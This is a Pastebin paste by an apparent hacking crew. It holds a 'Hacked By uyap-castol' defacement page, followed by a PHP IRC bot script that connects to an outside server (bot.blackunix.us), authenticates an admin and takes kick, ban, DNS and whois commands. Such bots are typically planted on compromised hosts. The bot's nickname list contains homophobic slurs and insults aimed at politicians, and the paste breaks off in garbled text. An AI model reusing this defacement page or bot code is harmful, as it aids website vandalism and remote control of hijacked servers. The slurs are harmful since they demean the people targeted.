uyap

republik Biang kerox team

May 26th, 2014
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.07 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="utf-8">
  5.  
  6. <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame
  7. Remove this if you use the .htaccess -->
  8. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  9.  
  10. <title>.:: Hacked By uyap-castol - REPUBLIK BIANG KEROX TROUBLE MAKER TEAM ::.</title>
  11. <head>
  12. <script> alert(" BIANG KEROX TEAM ")</script>
  13. <script> alert("admin please path your website")</script>
  14. <script> alert("uyap-castol WAS HERE")</script><meta content='text/html; charset=utf-8' http-equiv='Content-Type'/><html>
  15. <script language='JavaScript'>
  16. var txt="Hacked By uyap-castol ------------ REPUBLIK BIANG KEROX TROUBLE MAKER TEAM-------- ";
  17. var ekhancepetandunk=170;var fress=null;function gerakyuk() { document.title=txt;
  18. txt=txt.substring(1,txt.length)+txt.charAt(0);
  19. fress=setTimeout("gerakyuk()",ekhancepetandunk);}gerakyuk();
  20. </script>
  21. <script type='text/javascript'>
  22. var DADrightclicktheme = 'Dark';
  23. var DADrightclickimage = 'https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-frc3/t1/q71/s720x720/1549383_709203242434492_392904655_n.jpg';</script>
  24. <script type='text/javascript' src="http://tuyulz-blogspot.googlecode.com/files/Anti%20Klik.js"> </script>
  25. <script type="text/javascript" src="http://cayunkatel.googlecode.com/files/rainbows.js"></script>
  26. <style type="text/css">
  27.  
  28. <!--
  29. body {
  30. background: #000;
  31. -webkit-animation: back-anime 1s infinite;
  32. -moz-animation: back-anime 1s infinite;
  33. -o-animation: back-anime 1s infinite;
  34. }
  35.  
  36. @-webkit-keyframes back-anime {
  37. 0% {background-color: #650C00;}
  38. 100% {background-color: #FFFFFF;}
  39. }
  40.  
  41. @-moz-keyframes back-anime {
  42. 0% {background-color: #650C00;}
  43. 100% {background-color: #FFFFFF;}
  44. }
  45.  
  46. @-o-keyframes back-anime {
  47. 0% {background-color: #650C00;}
  48. 100% {background-color: #FFFFF;}
  49. }
  50.  
  51.  
  52. img {
  53. position: absolute;
  54. top: 30px;
  55. left: 150px;
  56. border:4px double yellow;
  57. box-shadow:0px 9px 15px white;
  58. border-radius:10px;
  59. opacity:0.75;
  60. -moz-opacity: 0.75;
  61. filter: alpha(opacity=75);
  62. }
  63.  
  64. h3 {
  65. position: relative;
  66. font: normal 2em arial;
  67. color: #FFF;
  68. width: 500px;
  69. height: auto;
  70. left: 20px;
  71. -webkit-animation: font-anime 1s infinite;
  72. -moz-animation: font-anime 1s infinite;
  73. -o-animation: font-anime 1s infinite;
  74. }
  75.  
  76. @-webkit-keyframes font-anime {
  77. 0% {color: #FFF;}
  78. 100% {color: #000; text-shadow: 0 0 5px #00FFE1;}
  79. }
  80.  
  81. @-moz-keyframes font-anime {
  82. 0% {color: #FFF;}
  83. 100% {color: #000; text-shadow: 0 0 5px #00FFE1;}
  84. }
  85.  
  86. @-o-keyframes font-anime {
  87. 0% {color: #FFF;}
  88. 100% {color: #000; text-shadow: 0 0 5px #00FFE1;}
  89. }
  90.  
  91. .lingkaran1,
  92. .lingkaran2,
  93. .lingkaran3,
  94. .lingkaran4,
  95. .lingkaran5,
  96. .lingkaran6,
  97. .lingkaran7,
  98. .lingkaran8,
  99. .lingkaran9,
  100. .lingkaran10 {
  101.  
  102. position: fixed;
  103. background: #FFF;
  104. border: none;
  105. border-radius: 50%;
  106. box-shadow: 0 0 5px #FFF;
  107. top: -200px;
  108. -webkit-animation: ling1 8s infinite;
  109. -moz-animation: ling1 8s infinite;
  110. -o-animation: ling1 8s infinite;
  111. animation: ling1 8s infinite;
  112.  
  113. }
  114.  
  115. .lingkaran11,
  116. .lingkaran12,
  117. .lingkaran13,
  118. .lingkaran14,
  119. .lingkaran15,
  120. .lingkaran16,
  121. .lingkaran17,
  122. .lingkaran18,
  123. .lingkaran19,
  124. .lingkaran20 {
  125.  
  126. position: fixed;
  127. background: #00FFE1;
  128. border: none;
  129. border-radius: 50%;
  130. box-shadow: 0 0 5px #00FFE1;
  131. top: -350px;
  132. -webkit-animation: ling1 8s infinite;
  133. -moz-animation: ling1 8s infinite;
  134. -o-animation: ling1 8s infinite;
  135. animation: ling1 8s infinite;
  136.  
  137. }
  138.  
  139. .lingkaran1 {
  140. width: 10px;
  141. height: 10px;
  142. left: 200px;
  143. }
  144.  
  145. .lingkaran2 {
  146. width: 5px;
  147. height: 5px;
  148. left: 220px;
  149. -webkit-animation-delay: 1s;
  150. -moz-animation-delay: 1s;
  151. -o-animation-delay: 1s;
  152. animation-delay: 1s;
  153. }
  154.  
  155. .lingkaran3 {
  156. width: 5px;
  157. height: 5px;
  158. left: 280px;
  159. -webkit-animation-delay: 4s;
  160. -moz-animation-delay: 4s;
  161. -o-animation-delay: 4s;
  162. animation-delay: 4s;
  163. }
  164.  
  165. .lingkaran4 {
  166. width: 10px;
  167. height: 10px;
  168. left: 310px;
  169. -webkit-animation-delay: 3s;
  170. -moz-animation-delay: 3s;
  171. -o-animation-delay: 3s;
  172. animation-delay: 3s;
  173. }
  174.  
  175. .lingkaran5 {
  176. width: 2px;
  177. height: 2px;
  178. left: 350px;
  179. }
  180.  
  181. .lingkaran6 {
  182. width: 10px;
  183. height: 10px;
  184. left: 370px;
  185. -webkit-animation-delay: 4s;
  186. -moz-animation-delay: 4s;
  187. -o-animation-delay: 4s;
  188. animation-delay: 4s;
  189.  
  190. }
  191.  
  192. .lingkaran7 {
  193. width: 2px;
  194. height: 2px;
  195. left: 440px;
  196. -webkit-animation-delay: 5s;
  197. -moz-animation-delay: 5s;
  198. -o-animation-delay: 5s;
  199. animation-delay: 5s;
  200. }
  201.  
  202. .lingkaran8 {
  203. width: 4px;
  204. height: 4px;
  205. left: 370px;
  206. }
  207.  
  208. .lingkaran9 {
  209. width: 2px;
  210. height: 2px;
  211. left: 400px;
  212. -webkit-animation-delay: 5s;
  213. -moz-animation-delay: 5s;
  214. -o-animation-delay: 5s;
  215. animation-delay: 5s;
  216. }
  217.  
  218. .lingkaran10 {
  219. width: 3px;
  220. height: 3px;
  221. left: 500px;
  222. -webkit-animation-delay: 6s;
  223. -moz-animation-delay: 6s;
  224. -o-animation-delay: 6s;
  225. animation-delay: 6s;
  226. }
  227.  
  228. .lingkaran11 {
  229. width: 3px;
  230. height: 3px;
  231. left: 600px;
  232. -webkit-animation-delay: 2s;
  233. -moz-animation-delay: 2s;
  234. -o-animation-delay: 2s;
  235. animation-delay: 2s;
  236. }
  237.  
  238. .lingkaran12 {
  239. width: 8px;
  240. height: 8px;
  241. left: 620px;
  242. }
  243.  
  244. .lingkaran13 {
  245. width: 6px;
  246. height: 6px;
  247. left: 680px;
  248. -webkit-animation-delay: 4s;
  249. -moz-animation-delay: 4s;
  250. -o-animation-delay: 4s;
  251. animation-delay: 4s;
  252.  
  253. }
  254.  
  255. .lingkaran14 {
  256. width: 10px;
  257. height: 10px;
  258. left: 700px;
  259. -webkit-animation-delay: 6s;
  260. -moz-animation-delay: 6s;
  261. -o-animation-delay: 6s;
  262. animation-delay: 6s;
  263.  
  264. }
  265.  
  266. .lingkaran15 {
  267. width: 8px;
  268. height: 8px;
  269. left: 790px;
  270. -webkit-animation-delay: 3s;
  271. -moz-animation-delay: 3s;
  272. -o-animation-delay: 3s;
  273. animation-delay: 3s;
  274. }
  275.  
  276. .lingkaran16 {
  277. width: 10px;
  278. height: 10px;
  279. left: 800px;
  280. }
  281.  
  282. .lingkaran17 {
  283. width: 5px;
  284. height: 5px;
  285. left: 820px;
  286. -webkit-animation-delay: 1s;
  287. -moz-animation-delay: 1s;
  288. -o-animation-delay: 1s;
  289. animation-delay: 1s;
  290. }
  291.  
  292. .lingkaran18 {
  293. width: 8px;
  294. height: 8px;
  295. left: 880px;
  296. -webkit-animation-delay: 6s;
  297. -moz-animation-delay: 6s;
  298. -o-animation-delay: 6s;
  299. animation-delay: 6s;
  300. }
  301.  
  302. .lingkaran19 {
  303. width: 7px;
  304. height: 7px;
  305. left: 950px;
  306. -webkit-animation-delay: 3s;
  307. -moz-animation-delay: 3s;
  308. -o-animation-delay: 3s;
  309. animation-delay: 3s;
  310. }
  311.  
  312. .lingkaran20 {
  313. width: 10px;
  314. height: 10px;
  315. left: 1000px;
  316. }
  317.  
  318. @-webkit-keyframes ling1 {
  319. 0% {top: -100px;}
  320. 100% {top: 700px;}
  321. }
  322.  
  323. @-moz-keyframes ling1 {
  324. 0% {top: -200px;}
  325. 100% {top: auto;}
  326. }
  327.  
  328. @-o-keyframes ling1 {
  329. 0% {top: -200px;}
  330. 100% {top: 600px;}
  331. }
  332.  
  333. -->
  334. </style>
  335. <embed src="https://youtube.googleapis.com/v/sdU_pT0KXSI%26autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1" />
  336. </head>
  337.  
  338. <meta name="description" content="41271M-C2">
  339. <meta name="author" content="41271M-C2">
  340.  
  341. <meta name="viewport" content="width=device-width; initial-scale=1.0">
  342.  
  343. <!-- Replace favicon.ico & apple-touch-icon.png in the root of your domain and delete these references -->
  344. <link rel="shortcut icon" href="/favicon.ico">
  345. <link rel="apple-touch-icon" href="/apple-touch-icon.png">
  346. <link rel="stylesheet" type="text/css" href="background.css">
  347. </head>
  348. <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><div style="text-shadow: 0px 0px 5px red;"><span class="style5"><b><h1>Special Thanks To </b></span><b>: </b><span class="style5">
  349. <marquee scrollamount="5" direction="center" width="70%">
  350. Uyap Gantengers | M4G1233N | 41271M-C2 | LEVII YONDAIMEl| MAQIE | RAMZKIE | Cimpli | bogel | Vito_Mampuz | Kambing404 | jerinx | ryu | Bluetooth |Ksatria Dot Us | ./xSoul | KOMXZER | threy BKHT | kotem | monica | Q-Joe Farel | Xmin maho | yayan maho | Rafni | onick :* |DLC Cyber | PS-X TEAM | Jatimcom | Kill -9 Crew | BlackUnix | Indonesia Coder | and | All Biang Kerox Team |
  351. </marquee></h1>
  352. <script>window.onload=function(){var h3=document.getElementsByTagName("h3")[0],text=h3.innerText||h3.textContent,split=[],i,lit=0,timer=null;for(i=0;i&lt;text.length;++i){split.push("&lt;span&gt;"+text[i]+"&lt;/span&gt;");}
  353. h3.innerHTML=split.join("");split=h3.childNodes;var flicker=function(){lit+=0.01;if(lit&gt;=1){clearInterval(timer);}
  354. for(i=0;i&lt;split.length;++i){if(Math.random()&lt;lit){split[i].className="neon3";}else{split[i].className="";}}}
  355. setInterval(flicker,100);}</script><p></p>
  356. <h2><span class="style1"><center><font size="9" color="#000"><font size="25" face="Webdings" color="#000"></font>Hacked By UYAP-CASTOL</font><font size="25" face="Webdings" color="#000"></font></font></center></span></h2><font size="9" color="#FFF">
  357. </font><center><font size="9" color="#FFF">
  358. <style type="text/css">#image{}</style>
  359. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
  360. <script src="http://jqueryrotate.googlecode.com/svn/trunk/jQueryRotate.js" type="text/javascript"></script>
  361. <script src="http://www.p0wersurge.com/js/jquery-css-transform.js" type="text/javascript"></script>
  362. <script src="http://www.p0wersurge.com/js/rotate3Di.js" type="text/javascript"></script>
  363.  
  364. </font><p></p><p align="center" class="MsoNormal"><font size="3" color="green"></font></p><center>
  365. <font size="3" color="green"><div align="Center"><img width="30" height="25" onClick="norite()" onload="init(this);rattleimage()" id="image" src="https://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-prn2/t1.0-9/10338761_603406133100792_5980055334525741418_n.jpg" style="transform: skew(0deg, 0deg) scale(1, 1); transform-origin: 50% 50% 0px; height: 300px; display: block; width: 400px; overflow: hidden;"></font></center><font size="3" color="green">
  366. <center>
  367. <script type="text/javascript">var open=function(){$("#image").animate({height:400},{duration:2000,queue:false});$("#image").animate({width:700},{duration:2000,queue:false});}
  368. var rotation=function(){$("#image").rotate({duration:3000,angle:0,animateTo:1080,});}
  369. var rotation2=function(){$("#image").rotate3Di(360,1000);setTimeout('rotation2()',3500)}
  370. rotation();open();setTimeout('rotation2()',4800)</script>
  371.  
  372.  
  373.  
  374. <body>
  375.  
  376. <?php
  377. for($i=1;$i<=20;$i++) {
  378. ?>
  379.  
  380. <div class="lingkaran<?= $i ?>"></div>
  381.  
  382. <?php
  383. }
  384. ?>
  385.  
  386.  
  387. </
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398.  
  399.  
  400.  
  401. <center> <a href="https://www.facebook.com/aku.ra.popo.crew"> BIANGKEROX TEAM </body></html></xt:code><xt:code><script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
  402.  
  403.  
  404. <script type="text/javascript">
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415.  
  416. <?php
  417. //fighter script - By uyap-castol
  418. function working() {
  419. $querym=array(
  420. "?",
  421. "!",
  422. "^^",
  423. " ^^",
  424. " :(",
  425. " :)",
  426. " ~:>",
  427. " :P~",
  428. " :D",
  429. ",",
  430. ".",
  431. "a",
  432. "i",
  433. "u",
  434. "e",
  435. "o",
  436. "z",
  437. "v",
  438. "z",
  439. "x",
  440. "c",
  441. "p",
  442. "m",
  443. "t",
  444. "k",
  445. "b",
  446. "s",
  447. "u",
  448. "anu",
  449. "g",
  450. "lo",
  451. "jo",
  452. "lol"
  453. );
  454. $tsu1=array("`","|","[","]","{","}","^","_");
  455. $tsu2=array("`","|","[","]","{","}","^","-","\\","_");
  456. $nicky=array(
  457. "uyap|^_^",
  458. "WARIA",
  459. "co_setia",
  460. "BKHT[security]",
  461. "RELOAD-X[security]",
  462. "memex_basah",
  463. "KIMCIL",
  464. "bencong|bagus",
  465. "jokowi_maniz",
  466. "prabowo|HOMO|",
  467. "tia_co_homo",
  468. "kon_the_tol",
  469. "mesumer",
  470. "TANTE_GIRANG",
  471. "biangkerox",
  472. "lesby_homo",
  473. "co_gaul`abiz",
  474. "co_lesby",
  475. "prabowo_moNTOX",
  476. "sby_mody",
  477. "wiranto_galau",
  478. "ce_oral",
  479. "pagarnusa",
  480. "pendekar",
  481. "banser",
  482. "sby_mody",
  483. "wiranto_ngocox",
  484. "harto","tia_Dco_homo",
  485. "kon_the_tol",
  486. "mesuXmer",
  487. "TANTSE_GIRANG",
  488. "biangkFerox",
  489. "lesby_Xhomo",
  490. "co_Egaul`abiz",
  491. "co_lAesby",
  492. "ce_sXusu",
  493. "soekarno",
  494. );
  495. $usr1=array(
  496. "control[system]",
  497. );
  498.  
  499. $nick = $nicky[rand(0,count($nicky) - 1)];
  500. $awaymsg = "BKHT tech";
  501. $identify = '';
  502. $Admin = 'uyap';
  503. $BOT_PASSWORD = 'dayat';
  504. $channels = '#bkht';
  505. $remotehst2= array("bot.blackunix.us");
  506. $remotehost= $remotehst2[rand(0,count($remotehst2) - 1)];
  507. $port = '20';
  508. $realname = '=|=BKHT|crew=|=';
  509. $counterfp = 0;
  510. $channels = str_replace("CNL","#",$channels);
  511. print "<body bgcolor=#000000 text=#00ff00>";
  512. print "<b>== Connecting to $remotehost...</b>";
  513.  
  514.  
  515. $raway = "on";
  516. $log = "off";
  517. $saway = "1";
  518. $rberita = 1;
  519. if (!$stime) { $stime = time(); }
  520. if (!$port) { $port = "20"; }
  521. $Admin = strtolower($Admin);
  522. $auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
  523.  
  524. $username = 'BLACKUNIX';
  525. $keluar = 0;
  526. $akill = 1;
  527. $katime = 0;
  528. $localhost = 'localhost';
  529. $dayload = date("H:i:s d/m/Y");
  530. ini_set('user_agent','MSIE 5\.5;');
  531. set_time_limit(0);
  532. define ('CRL', "\r\n");
  533. $channels = strtolower($channels)." ";
  534. $channel = explode(" ", $channels);
  535. do {
  536. $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
  537. if(!$fp) {
  538. if ( $counterfp <= 200 ) {
  539. $counterfp = $counterfp+1;
  540. working($nick);
  541. }
  542. else {
  543. print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
  544. $keluar = 1;
  545. exit;
  546. }
  547. }
  548. print "<br><b>== Suceeded connection</b>";
  549. $Header = 'NICK '.$nick . CRL;
  550. $Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
  551. fputs($fp, $Header);
  552. $response = '';
  553. while (!feof($fp)) {
  554. $response .= fgets($fp, 1024);
  555. while (substr_count($response,CRL) != 0) {
  556. $offset = strpos($response, CRL);
  557. $data = substr($response,0,$offset);
  558. $response = substr($response,$offset+2);
  559. if (substr($data,0,1) == ':') {
  560. $offsetA = strpos($data, ' ');
  561. $dFrom = substr($data,1,$offsetA-1);
  562. $offsetB = strpos($data, ' :');
  563. $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
  564. $offsetC = strpos($data, '!');
  565. $dNick = substr($data,1,$offsetC-1);
  566. $iText = substr($data,$offsetB+2);
  567. if ( substr($dCommand,0,3) == '004' ) {
  568. fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
  569. if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
  570. fputs($fp, 'NOTICE ' . $Admin . ' :Halo!!' . CRL);
  571. foreach ($channel as $v) {
  572. fputs($fp, 'JOIN ' .$v . CRL);
  573. }
  574. $pong1 = '1';
  575. }
  576. elseif (substr($dCommand,0,3)=='465') {
  577. print "<br><b>== This bot have been autokilled.</b>";
  578. $akill = 2;
  579. }
  580. elseif (substr($dCommand,0,3)=='433') {
  581. $nick = $nicky[rand(0,count($nicky) - 1)];
  582. fputs($fp, 'NICK '.$nick . CRL);
  583. }
  584. elseif (substr($dCommand,0,3)=='432') {
  585. $nick = $nick.$username;
  586. fputs($fp, 'NICK '.$nick . CRL);
  587. }
  588. if (eregi('.dal.net',$dNick) && $akill==2) {
  589. if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
  590. print "<br><b>".strstr($data,'***')." </b>";
  591. if (eregi('Your IP is',$data)) {
  592. $keluar = 1;
  593. exit;
  594. }
  595. }
  596. }
  597.  
  598. $dcom = explode(" ", $dCommand);
  599. $dNick = strtolower($dNick);
  600. if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
  601. fputs($fp, 'JOIN ' .$dcom[1]. CRL);
  602. }
  603. elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
  604. if ($auth["$dNick"]) {
  605. if ($auth["$dNick"]["pass"]) {
  606. if ($auth["$dNick"]["auth"]==2) {
  607. if ($dcom[0]=='NICK') {
  608. $com = explode(" ", $data);
  609. $chnick = strtolower(str_replace(':','',$com[2]));
  610. if ($dNick!=$chnick) {
  611. $auth["$dNick"]["auth"] = 1;
  612. fputs($fp,'NOTICE '.$chnick.' :Woi kemana! ' . CRL);
  613. }
  614. } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Woi kemana bos! ' . CRL); }
  615. }
  616. } else { fputs($fp,'NOTICE ' . $dNick . ' :pass your pass ' . CRL); }
  617. }
  618. }
  619. elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
  620. $dcom[2] = strtolower($dcom[2]);
  621. if ($auth["$dcom[2]"]) {
  622. if ($auth["$dcom[2]"]["pass"]) {
  623. if ($auth["$dcom[2]"]["auth"]==1) {
  624. $auth["$dcom[2]"]["auth"] = 2; $whois = "";
  625. fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
  626. } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Udah Admin Bos! ' . CRL); }
  627. } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  628. } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  629. }
  630. elseif ($dcom[0]=='NOTICE') {
  631. $com = explode(" ", $data);
  632. if ($com[3]==':PING') {
  633. $pong = time();
  634. $pptime = $pong-$ping;
  635. $meni = "";
  636. if ($pptime>=60) {
  637. $bag = $pptime / 60;
  638. $meni = floor($bag)."mins ";
  639. $sis = $pptime - ($meni*60);
  640. $pptime = $sis;
  641. }
  642. $deti = $pptime."secs";
  643. $pptime = "$meni$deti";
  644. fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL);
  645. }
  646. elseif ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
  647. $msg = str_replace('','',$data);
  648. $msg = strstr($msg,":KB");
  649. $msg = str_replace(":KB $com[4]","",$msg);
  650. fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
  651. fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
  652. }
  653. }
  654.  
  655. elseif ($dcom[0]=='PRIVMSG') {
  656. $com = explode(" ", $data);
  657. if ($com[3]==':VERSION') {
  658. fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION mIRC v6.23 Khaled Mardam-Bey'.chr(1) . CRL);
  659. }
  660. elseif ($com[3]==':!ping' && ereg('#',$com[2])) {
  661. $ping = time();
  662. fputs($fp,'PRIVMSG '.$dNick.' :PING '.$ping.'' . CRL);
  663. }
  664. elseif ($com[3]==':~PING') {
  665. $ntime = str_replace("","",$com[4]);
  666. fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL);
  667. }
  668. elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") {
  669. if (ereg("[a-zA-Z]", $com[4])) {
  670. $res = gethostbyname($com[4]);
  671. } elseif (ereg("[0-9]", $com[4])) {
  672. $res = gethostbyaddr($com[4]);
  673. }
  674. if ($res==$com[4]) { $res = "not resolved."; }
  675. else { $res = "resolved to: $res ."; }
  676. fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL);
  677. }
  678.  
  679. elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") {
  680. $pages = "www.geektools.com";
  681. $data = "";
  682. $fpw = fsockopen($pages, 43);
  683. if($fpw) {
  684. fputs($fpw, $com[4]."\r\n");
  685. while(!feof($fpw)) {
  686. $data .= fread($fpw, 1000);
  687. }
  688. fclose($fpw);
  689. }
  690. fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' [GeeKTooLS.com]'. CRL);
  691. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'creat')),0,60). CRL);
  692. //fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'registrat')),0,60). CRL);
  693. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'Registrant:'))),0,120). CRL);
  694.  
  695. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'expir')),0,60). CRL);
  696. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'NS1')),0,60). CRL);
  697. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,' NS.')),0,60). CRL);
  698. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'inetnum')),0,60). CRL);
  699. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'netname')),0,60). CRL);
  700. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'descr'))),0,120). CRL);
  701.  
  702. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'country')),0,60). CRL);
  703. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'changed:')),0,60). CRL);
  704. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'person:')),0,60). CRL);
  705. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'address')),0,120). CRL);
  706.  
  707. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'CRSNIC Ga Punya Informasi Dari Domain Ini'),0,60). CRL);
  708. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'Ga Ada Data Untuk'),0,60). CRL);
  709. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'Weks.. Domain Ini Belum Di Registrasi'),0,60). CRL);
  710. fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'Capek.. Ga ketemu..!!!'),0,60). CRL);
  711.  
  712. }
  713. elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
  714. if ($auth["$dNick"]) {
  715. if ($auth["$dNick"]["pass"]) {
  716. if ($auth["$dNick"]["auth"]==1) {
  717. if ($com[4]===$auth["$dNick"]["pass"]) {
  718. $auth["$dNick"]["auth"] = 2;
  719. fputs($fp,'NOTICE ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
  720. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); }
  721. } else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Authorized! ' . CRL); }
  722. } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  723. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  724. }
  725.  
  726. elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
  727. if ($auth["$dNick"]) {
  728. if ($auth["$dNick"]["pass"]) {
  729. if ($auth["$dNick"]["auth"]==2) {
  730. $auth["$dNick"]["auth"] = 1;
  731. fputs($fp,'NOTICE ' . $dNick . ' :You`re LogOut! ' . CRL);
  732. } else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
  733. } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
  734. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
  735. }
  736. elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
  737. if ($auth["$dNick"]) {
  738. if (!$auth["$dNick"]["pass"]) {
  739. $auth["$dNick"]["pass"] = $com[4];
  740. $auth["$dNick"]["auth"] = 1;
  741. fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  742. } else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
  743. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  744. }
  745. elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
  746. if ($auth["$dNick"]) {
  747. if ($auth["$dNick"]["auth"]==2) {
  748. if ($com[4]===$auth["$dNick"]["pass"]) {
  749. $auth["$dNick"]["pass"] = $com[5];
  750. fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
  751. } else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
  752. } else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
  753. } else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
  754. }
  755. elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
  756. $com[4] = strtolower($com[4]);
  757. if ($auth["$dNick"]["auth"]==2) {
  758. if ($auth["$dNick"]["status"]=="Admin") {
  759. if ($com[5]=="master" || $com[5]=="user") {
  760. $auth["$com[4]"]["name"] = $com[4];
  761. $auth["$com[4]"]["status"] = $com[5];
  762. fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  763. fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
  764. } else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> <master/user> ' . CRL); }
  765. } elseif ($auth["$dNick"]["status"]=="master") {
  766. if (!$auth["$com[4]"]) {
  767. if ($com[5]=="user") {
  768. $auth["$com[4]"]["name"] = $com[4];
  769. $auth["$com[4]"]["status"] = $com[5];
  770. fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
  771. fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
